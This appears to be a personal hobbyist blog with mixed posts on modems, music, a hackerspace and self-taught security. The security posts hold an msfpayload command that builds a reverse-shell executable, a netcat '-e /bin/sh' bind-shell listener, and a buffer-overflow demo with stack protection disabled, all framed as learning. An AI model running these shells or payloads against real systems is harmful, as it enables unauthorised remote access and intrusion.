Qwest Modems Show

When I was back on the east coast, we had Verizon DSL. When we moved out here to Colorado, we decided to go with Qwest (because Verizon was a joke and Comcast was sadistic). We quickly realized that the DSL packet encapsulation was different on Qwest so our Verizon modem wouldn't work. Instead of getting one from Qwest, we decided to purchase a Zoom ADSL x5 modem from CompUSA (R.I.P.).

After yet another Qwest modem dying, I'm glad we picked that thing up. Qwest seems to be unable to get modems right. This latest one, an Actiontec 5100 (bastardized) was pretty good. The interface made sense, it gave you a good amount of features and it was pretty stable. It was much better then the one before it, a 2Wire 2701HG-D, in that it's power circuit didn't fail after about a month of lite use.

The major problem with the Actiontec 5100 are the open ports on the thing. Like most routers, it has the option to enable a remote management port that you can connect from via the WAN interface. Normally, that port is (like most secure connections) 443. However, after scanning the WAN interface, I noticed that there was another port open, 4567. Even with remote management turned off, you can still get into the router on port 4567 if you have the password. The only way I was able to disable that port was by specifically enabling the Remote Management option and change it's port to 4567. In that case, you weren't able to connect to the router on ports 443 or 4567 - well at least it wouldn't give you a page on 4567 because the routers web server freaked out.

So I'm not sure whats going on here. Why would this port be open? Is it a "secret" way for Qwest to be able to look at your router settings? Is it for automatic updates? Or, perhaps the most fun idea if not slightly unexpected, did malware of some type get into this device?

This last idea gets me thinking about some possibilities. While the filesystem on this particular device is almost all read-only, it's a straight forward embedded linux system with the ability to apply firmware updates from the web interface. I'm waiting for the day (it's probably already long past) when a single rouge modem with a slightly modified firmware will infect other modems worm style. It'd be funny to see a botnet of modems...

MUNG Labs + more Show

So I just heard about a hacker space starting up in Colorado Springs via the Defcon home page. Between work, projects and getting ready for the burn, I totally forgot about Defcon. Though it's not like I had any money for it anyways...

Last week, a friend decided to pick up the iPhone 4 and asked if I wanted to buy his 3G off of him. I've been pondering doing a side by side between the HTC Dream and the iPhone for a while know so I bit and picked it up from him for pretty cheap. The difference is night and day. The Android platform, while it works as a phone, and while it's better then the other smart phones on the market, is years behind the iPhone in both design and function. Despite the lack of 3G on mine (I've put it on TMobile), I'm now using it as my main phone. Mostly because the battery life is so much better.

Last night I decided, now that I've got a macbook pro and an iphone to try out OSx86 on my desktop. I've been through Windows Vist, 7, Gentoo, back to XP and now that I have OSX running, I feel like I can at least use the damn thing again. Windows Vista and 7 both hate the hardware, Windows XP is just too far out of date, and Linux, while it's nice to have a machine I can ssh into at home sometimes without having to set up another machine, just doesn't have the audio tools I need on a daily basis.

I respect all operating systems at this point because they all have their uses but for a desktop machine, which allows me to do all of the audio and development work, save PIC32 programming (which is strange in a lot of ways anyways), OS X is the only things that seems to fit most of my needs.

I'm currently working on pulling this site off of RoR and putting into Tomcat. I'm sick of all the ruby mumbo jumbo that holds up further development of this place. Sure, now I have to deal with flat SQL, input sanitization, and my own hacked up authentication methods but, welcome to the real world, things like this are what make me happy to develop. For now, that's all I'll say here. More text here is more text there later during the switch over.

Back to the MUNG Labs announcement! I've been pondering about making a music/hacking space for a bit now. I've been kind of let down due to the lack of motivated people I've run into, but I'm sure there out there. Honestly, I know they do on the Music end of things but I'm not so sure on the hacking end of things. If I can get all my ducks in a row I may be able to afford subleasing a space from them.I look forward to their next meeting.

Thinking about music Show

Recently I was mentored by an amazing person on the ways of making music that makes people like and dance with your music. The approach was something I never really connected with because I didn't think about it in the correct way. As I began thinking more about the specific techniques my mentor taught me, I began to realize the truth of his words. I had to physically laugh out loud as soon as I started looking at music through his eyes.

That was a few minutes ago. I have motivation for music again.

Progranisms Show

A fairly long time ago, I stumbled upon William G. Heatley III's Progranism page that used to reside here. It has long since gone defunk but after mentioning the idea to a friend of mine he wanted to try them out. After realizing the page no longer existed, I was able to pull the files that used to be on that page from the Internet Wayback Machine.

Since I can't seem to find Mr Heatley's current information (honestly, I didn't really try), I will be hosting them here for at least a little. These are the original files I pulled from his site:

progranism-2.1.1.c
progranism-2.3.1.c
progranism-2.5.1.c (Last/Current revision)
progranism_tools.zip

Now, keep in mind, I haven't touched these at all recently. They may not compile, they may kill you, etc. Be sure to read up on these things if you do run them. They will almost definitely destroy your machine if your not careful. Run them in a VM, run them in a chroot, run them as a different user who only has access to one directory and so on.

Possible additions to the concept:
Networking. Just include the required libraries and make sure they link in.
Sexual vs Asexual reproduction. William originally started with asexual, dabbled with sexual, and then went back to asexual. I don't know why.
Write them in assembly so you can distinctly see what's changing at each generation.
Put in something to ensure they always get a runable binary out the other end. Maybe cat on the headers outside of the program before they're run?
Lots of other stuff that make these things really fun to play with.

Soundcloud Show
This is a song I made a while back. Mostly, this entry is a test of soundcloud within my site's css. It looks pretty good! I hope you enjoy it!

No More by Nial

Opening the iomega eGo external hard drive Show
So after a bit of fiddling I managed to get this wonderful external case open without doing too much damage to the case in the process. Basically, the single, big, painted piece on the top of the drive is held in place with a number of clips. To get into the drive, you need to pry the bottom of the hard drive enclosure away from this upper piece starting at the end of the case with the connector ports. I managed to break the two clips at that end of the case but the rest still hold it together decently.

Another thing to realize is that the drive itself is held in place at the far end (opposite the SATA connections) by two sets of little plastic nubs. At first glance, it looks like these nubs are just clipped into either sides of the hard drive but they have other counter part nubs that stick into the bottom screw holes of the drive.

Bottom line: get a flat head screwdriver and pry the whole thing apart. 500GB 5400 RPM drive and a firewire enabled 2.5" enclosure for $120? I think it was worth it :)

Barcodes are fun Show
The video at the following link is pretty good at showing how crazy barcodes can get. I don't know how old it is and I don't really care because it's still good info. Here is the link.

RoR + Layout Update Show
I've just about finished converting this domain over to use a hacked up ruby on rails content management system. I've got a lot more work to do but for now, it gets the job done.

Hopefully in the future, it will be complete enough for me to allow comments. For now, it should suit my needs.

By the way, that's a gas mask up at the top now...

PGP - GPG Show
So I finally made a GPG Public key. You can find it on the right. Add this file to your keychain by using the following command:

$ gpg --import public.key

To then encrypt a file for me to decrypt:

$ gpg -e -r "Jamis Nemo" <file to encrypt>

This will give you a file with the same name as the file you encrypted but it will include a ".gpg" on the end. Send this to me and I'll be able to decrypt it (assuming someone hasn't altered the key on it's way to you).

My next goal here is to sign my public key with one of the major key signers.

Getting back out Show
After trying some more code on a firewall'd box, it's obvious that the generic metasploit payloads aren't very useful in most situations. It would be interesting to see something a bit more "real" in the framework. I wonder if anyone has taken any of the payloads out of Phrack and put them into metasploit...

This article mentions a number of ways in which to get back out of a machine, through a firewall, without a lot of hindrance.

http://freeworld.thc.org/papers/fw-backd.htm

Making a reverse shell with metasploit Show
# cd /pentest/exploits/framework3
# ./msfpayload windows/shell_reverse_tcp LPORT=6667 LHOST=192.168.2.101 R | ./msfencode -t exe > reverse.exe

And we're done!

Decompiling dumped shellcode Show
The following command will let us disassemble a payload/shell code if it's dumped into a binary file (non-executable). You'll need nasm kicking around somewhere (if that's your asm suite of choice):

ndisasm -b 32 shellcode.bin > shellcode.asm

Updating Metasploit on Backtrack Show
I've never really thought about using metasploit but after poking at it a bit I've realized that it's obviously worth having the most up to date version of the exploit tree or modules as they are called in the metasploit framework.

On a hard drive install of backtrack, updating this is easy enough: just go to the metasploit directory and use the following SVN command to update the framework. The path to run this command in is /pentest/exploits/framework3 (if you are using the 3.x version of the framework):

# svn update

This will need an internet connection but it's not that bad to update. It also updates any documentation that may be new since the original disk image was created or since the last time you ran this command.

I know this isn't a big piece of information but it may thrust people forward if they know about it...

Buffer Play Show
Now that I've got that netcat tip out of the way, I want to share a quick example of how gcc deals with buffer overflows.

The problem is that gcc does some stack smashing detection to detect when a buffer overflow is trying to be exploited. This makes learning about buffer overflows and related exploits more difficult. To turn this off, use the -fno-stack-protector switch as follows:

$ gcc -fno-stack-protector -o overflow overflow.c

When overflow is run, it won't blow on the stack smasher and will segfault as "expected" when working with buffer overflow tutorials. This was needed when playing with some of the simple overflow examples I've found...

#include <stdio.h>
#include <string.h>
main() {
char str1[10];
strcpy(str1, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
printf("hello\n");
}

Using netcat to connect to remote machines Show
I'm finally sitting down and learning how exploits work. The reasons are varied but really, I need to know more about them to be able to keep my machines sane.

The most potent thing that I would expect a lot of people to not understand is the power of netcat. Anyone in the field of network security should know it but the nc command is slightly crazy after you figure out how powerful it is.

Do this on a linux machine you own (hopefully one that's on a personal network...):

# nc -vv -l -p 20000 -e /bin/sh localhost

This will start netcat listening on port 20000 and will pass any incomming command directly to stdin and stdout of /bin/sh. This means, in short, you can now connect to a terminal running on that port.

Then, from another linux machine (or the same one if yer limited by that sort of thing) try connecting to that port:

$ nc localhost 20000

Now type 'ls' and you should see the directory listing of the folder on the first machine where you started nc listening from.

One thing to note, hitting ctrl-c will end the original, listening nc's /bin/sh process. I'm not sure how or if you can "disconnect" without killing the listening socket...

If you leave this running on a machine on a weird port (or port 31337 as some default payloads do) it's easy enough for intruders to guess at what's running on the machine. One could just connect to each open port on a machine with nc and running 'whoami' after the connection is open. In some cases, a box running this may kick back 'root' which means the obvious...

Netcat combined with ssh will let you tunnel this work...

Where to go from here... Show

I've removed the old posts that don't pertain to my chosen "direction" of this domain. I'm thinking about moving some things around soon and this may end up over at a different domain name. I would like this blog (maybe not here) to be a log of my personal education in whatever fields I poke at. I've already noticed that this spot has morphed away from it's original intent once and I'm sure it will again. In the future I may remove all of the posts here and become a hermit for all I know...

For now, enjoy the rest of the content. :)